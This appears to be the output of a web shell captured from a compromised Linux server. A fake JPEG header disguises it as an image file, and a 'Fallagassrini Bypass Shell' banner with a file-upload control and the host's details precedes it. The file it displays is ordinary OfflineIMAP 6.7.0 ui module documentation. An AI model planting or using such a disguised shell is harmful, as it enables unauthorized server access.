JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/doc/offlineimap-6.7.0/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/doc/offlineimap-6.7.0/ui.html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    <title>offlineimap.ui – A flexible logging system &mdash; OfflineIMAP 6.7.0 documentation</title>
    
    <link rel="stylesheet" href="_static/default.css" type="text/css" />
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
    
    <script type="text/javascript">
      var DOCUMENTATION_OPTIONS = {
        URL_ROOT:    '',
        VERSION:     '6.7.0',
        COLLAPSE_INDEX: false,
        FILE_SUFFIX: '.html',
        HAS_SOURCE:  true
      };
    </script>
    <script type="text/javascript" src="_static/jquery.js"></script>
    <script type="text/javascript" src="_static/underscore.js"></script>
    <script type="text/javascript" src="_static/doctools.js"></script>
    <link rel="top" title="OfflineIMAP 6.7.0 documentation" href="index.html" />
    <link rel="prev" title="offlineimap.repository – Email repositories" href="repository.html" /> 
  </head>
  <body>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="repository.html" title="offlineimap.repository – Email repositories"
             accesskey="P">previous</a> |</li>
        <li><a href="index.html">OfflineIMAP 6.7.0 documentation</a> &raquo;</li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body">
            
  <div class="section" id="offlineimap-ui-a-flexible-logging-system">
<h1><tt class="xref py py-mod docutils literal"><span class="pre">offlineimap.ui</span></tt> &#8211; A flexible logging system<a class="headerlink" href="#offlineimap-ui-a-flexible-logging-system" title="Permalink to this headline">¶</a></h1>
<p>OfflineImap has various ui systems, that can be selected. They offer various
functionalities. They must implement all functions that the
<tt class="xref py py-class docutils literal"><span class="pre">offlineimap.ui.UIBase</span></tt> offers. Early on, the ui must be set using
<a class="reference internal" href="#offlineimap.ui.getglobalui" title="offlineimap.ui.getglobalui"><tt class="xref py py-meth docutils literal"><span class="pre">getglobalui()</span></tt></a></p>
<dl class="staticmethod">
<dt id="offlineimap.ui.setglobalui">
<em class="property">static </em><tt class="descclassname">ui.</tt><tt class="descname">setglobalui</tt><big>(</big><em>newui</em><big>)</big><a class="headerlink" href="#offlineimap.ui.setglobalui" title="Permalink to this definition">¶</a></dt>
<dd><p>Set the global ui object to be used for logging.</p>
</dd></dl>

<dl class="staticmethod">
<dt id="offlineimap.ui.getglobalui">
<em class="property">static </em><tt class="descclassname">ui.</tt><tt class="descname">getglobalui</tt><big>(</big><big>)</big><a class="headerlink" href="#offlineimap.ui.getglobalui" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the current ui object.</p>
</dd></dl>

<div class="section" id="base-ui-plugin">
<h2>Base UI plugin<a class="headerlink" href="#base-ui-plugin" title="Permalink to this headline">¶</a></h2>
<dl class="class">
<dt id="offlineimap.ui.UIBase.UIBase">
<em class="property">class </em><tt class="descname">UIBase</tt><big>(</big><em>config</em>, <em>loglevel=20</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase" title="Permalink to this definition">¶</a></dt>
<dd><dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.acct">
<tt class="descname">acct</tt><big>(</big><em>account</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.acct"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.acct" title="Permalink to this definition">¶</a></dt>
<dd><p>Output that we start syncing an account (and start counting).</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.acctdone">
<tt class="descname">acctdone</tt><big>(</big><em>account</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.acctdone"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.acctdone" title="Permalink to this definition">¶</a></dt>
<dd><p>Output that we finished syncing an account (in which time).</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.connecting">
<tt class="descname">connecting</tt><big>(</big><em>hostname</em>, <em>port</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.connecting"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.connecting" title="Permalink to this definition">¶</a></dt>
<dd><p>Log &#8216;Establishing connection to&#8217;.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.copyingmessage">
<tt class="descname">copyingmessage</tt><big>(</big><em>uid</em>, <em>num</em>, <em>num_to_copy</em>, <em>src</em>, <em>destfolder</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.copyingmessage"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.copyingmessage" title="Permalink to this definition">¶</a></dt>
<dd><p>Output a log line stating which message we copy</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.error">
<tt class="descname">error</tt><big>(</big><em>exc</em>, <em>exc_traceback=None</em>, <em>msg=None</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.error"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.error" title="Permalink to this definition">¶</a></dt>
<dd><p>Log a message at severity level ERROR.</p>
<p>Log Exception &#8216;exc&#8217; to error log, possibly prepended by a preceding
error &#8220;msg&#8221;, detailing at what point the error occurred.</p>
<p>In debug mode, we also output the full traceback that occurred
if one has been passed in via sys.info()[2].</p>
<p>Also save the Exception to a stack that can be output at the end
of the sync run when offlineiamp exits. It is recommended to
always pass in exceptions if possible, so we can give the user
the best debugging info.</p>
<p>We are always pushing tracebacks to the exception queue to
make them to be output at the end of the run to allow users
pass sensible diagnostics to the developers or to solve
problems by themselves.</p>
<p>One example of such a call might be:</p>
<blockquote>
<div><dl class="docutils">
<dt>ui.error(exc, sys.exc_info()[2], msg=&#8221;While syncing Folder %s in &#8220;</dt>
<dd>&#8220;repo %s&#8221;)</dd>
</dl>
</div></blockquote>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.getnicename">
<tt class="descname">getnicename</tt><big>(</big><em>object</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.getnicename"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.getnicename" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the type of a repository or Folder as string.</p>
<p>(IMAP, Gmail, Maildir, etc...)</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.getthreadaccount">
<tt class="descname">getthreadaccount</tt><big>(</big><em>thr=None</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.getthreadaccount"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.getthreadaccount" title="Permalink to this definition">¶</a></dt>
<dd><p>Get Account() for a thread (current if None)</p>
<p>If no account has been registered with this thread, return &#8216;None&#8217;.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.info">
<tt class="descname">info</tt><big>(</big><em>msg</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.info"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.info" title="Permalink to this definition">¶</a></dt>
<dd><p>Display a message.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.init_banner">
<tt class="descname">init_banner</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.init_banner"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.init_banner" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when the UI starts.  Must be called before any other UI
call except isusable().  Displays the copyright banner.  This is
where the UI should do its setup &#8211; TK, for instance, would
create the application window here.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.isusable">
<tt class="descname">isusable</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.isusable"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.isusable" title="Permalink to this definition">¶</a></dt>
<dd><p>Returns true if this UI object is usable in the current
environment.  For instance, an X GUI would return true if it&#8217;s
being run in X with a valid DISPLAY setting, and false otherwise.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.makefolder">
<tt class="descname">makefolder</tt><big>(</big><em>repo</em>, <em>foldername</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.makefolder"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.makefolder" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when a folder is created.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.registerthread">
<tt class="descname">registerthread</tt><big>(</big><em>account</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.registerthread"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.registerthread" title="Permalink to this definition">¶</a></dt>
<dd><p>Register current thread as being associated with an account name.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.savemessage">
<tt class="descname">savemessage</tt><big>(</big><em>debugtype</em>, <em>uid</em>, <em>flags</em>, <em>folder</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.savemessage"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.savemessage" title="Permalink to this definition">¶</a></dt>
<dd><p>Output a log line stating that we save a msg.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.serverdiagnostics">
<tt class="descname">serverdiagnostics</tt><big>(</big><em>repository</em>, <em>type</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.serverdiagnostics"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.serverdiagnostics" title="Permalink to this definition">¶</a></dt>
<dd><p>Connect to repository and output useful information for debugging.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.setlogfile">
<tt class="descname">setlogfile</tt><big>(</big><em>logfile</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.setlogfile"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.setlogfile" title="Permalink to this definition">¶</a></dt>
<dd><p>Create file handler which logs to file.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.setup_consolehandler">
<tt class="descname">setup_consolehandler</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.setup_consolehandler"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.setup_consolehandler" title="Permalink to this definition">¶</a></dt>
<dd><p>Backend specific console handler.</p>
<p>Sets up things and adds them to self.logger.
:returns: The logging.Handler() for console output</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.setup_sysloghandler">
<tt class="descname">setup_sysloghandler</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.setup_sysloghandler"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.setup_sysloghandler" title="Permalink to this definition">¶</a></dt>
<dd><p>Backend specific syslog handler.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.skippingfolder">
<tt class="descname">skippingfolder</tt><big>(</big><em>folder</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.skippingfolder"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.skippingfolder" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when a folder sync operation is started.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.sleep">
<tt class="descname">sleep</tt><big>(</big><em>sleepsecs</em>, <em>account</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.sleep"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.sleep" title="Permalink to this definition">¶</a></dt>
<dd><p>This function does not actually output anything, but handles
the overall sleep, dealing with updates as necessary.  It will,
however, call sleeping() which DOES output something.</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">0/False if timeout expired, 1/2/True if there is a
request to cancel the timer.</td>
</tr>
</tbody>
</table>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.sleeping">
<tt class="descname">sleeping</tt><big>(</big><em>sleepsecs</em>, <em>remainingsecs</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.sleeping"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.sleeping" title="Permalink to this definition">¶</a></dt>
<dd><p>Sleep for sleepsecs, display remainingsecs to go.</p>
<p>Does nothing if sleepsecs &lt;= 0.
Display a message on the screen if we pass a full minute.</p>
<p>This implementation in UIBase does not support this, but some
implementations return 0 for successful sleep and 1 for an
&#8216;abort&#8217;, ie a request to sync immediately.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.syncfolders">
<tt class="descname">syncfolders</tt><big>(</big><em>src_repo</em>, <em>dst_repo</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.syncfolders"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.syncfolders" title="Permalink to this definition">¶</a></dt>
<dd><p>Log &#8216;Copying folder structure...&#8217;.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.syncingfolder">
<tt class="descname">syncingfolder</tt><big>(</big><em>srcrepos</em>, <em>srcfolder</em>, <em>destrepos</em>, <em>destfolder</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.syncingfolder"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.syncingfolder" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when a folder sync operation is started.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.terminate">
<tt class="descname">terminate</tt><big>(</big><em>exitstatus=0</em>, <em>errortitle=None</em>, <em>errormsg=None</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.terminate"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.terminate" title="Permalink to this definition">¶</a></dt>
<dd><p>Called to terminate the application.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.threadException">
<tt class="descname">threadException</tt><big>(</big><em>thread</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.threadException"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.threadException" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when a thread has terminated with an exception.
The argument is the ExitNotifyThread that has so terminated.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.threadExited">
<tt class="descname">threadExited</tt><big>(</big><em>thread</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.threadExited"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.threadExited" title="Permalink to this definition">¶</a></dt>
<dd><p>Called when a thread has exited normally.</p>
<p>Many UIs will just ignore this.</p>
</dd></dl>

<dl class="method">
<dt id="offlineimap.ui.UIBase.UIBase.unregisterthread">
<tt class="descname">unregisterthread</tt><big>(</big><em>thr</em><big>)</big><a class="reference internal" href="_modules/offlineimap/ui/UIBase.html#UIBase.unregisterthread"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#offlineimap.ui.UIBase.UIBase.unregisterthread" title="Permalink to this definition">¶</a></dt>
<dd><p>Unregister a thread as being associated with an account name.</p>
</dd></dl>

</dd></dl>

</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar">
        <div class="sphinxsidebarwrapper">
  <h3><a href="index.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#"><tt class="docutils literal"><span class="pre">offlineimap.ui</span></tt> &#8211; A flexible logging system</a><ul>
<li><a class="reference internal" href="#base-ui-plugin">Base UI plugin</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="repository.html"
                        title="previous chapter"><tt class="docutils literal"><span class="pre">offlineimap.repository</span></tt> &#8211; Email repositories</a></p>
  <h3>This Page</h3>
  <ul class="this-page-menu">
    <li><a href="_sources/ui.txt"
           rel="nofollow">Show Source</a></li>
  </ul>
<div id="searchbox" style="display: none">
  <h3>Quick search</h3>
    <form class="search" action="search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    <p class="searchtip" style="font-size: 90%">
    Enter search terms or a module, class or function name.
    </p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="repository.html" title="offlineimap.repository – Email repositories"
             >previous</a> |</li>
        <li><a href="index.html">OfflineIMAP 6.7.0 documentation</a> &raquo;</li> 
      </ul>
    </div>
    <div class="footer">
        &copy; Copyright Copyright 2002-2016 John Goerzen &amp; contributors.
      Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3.
    </div>
  </body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net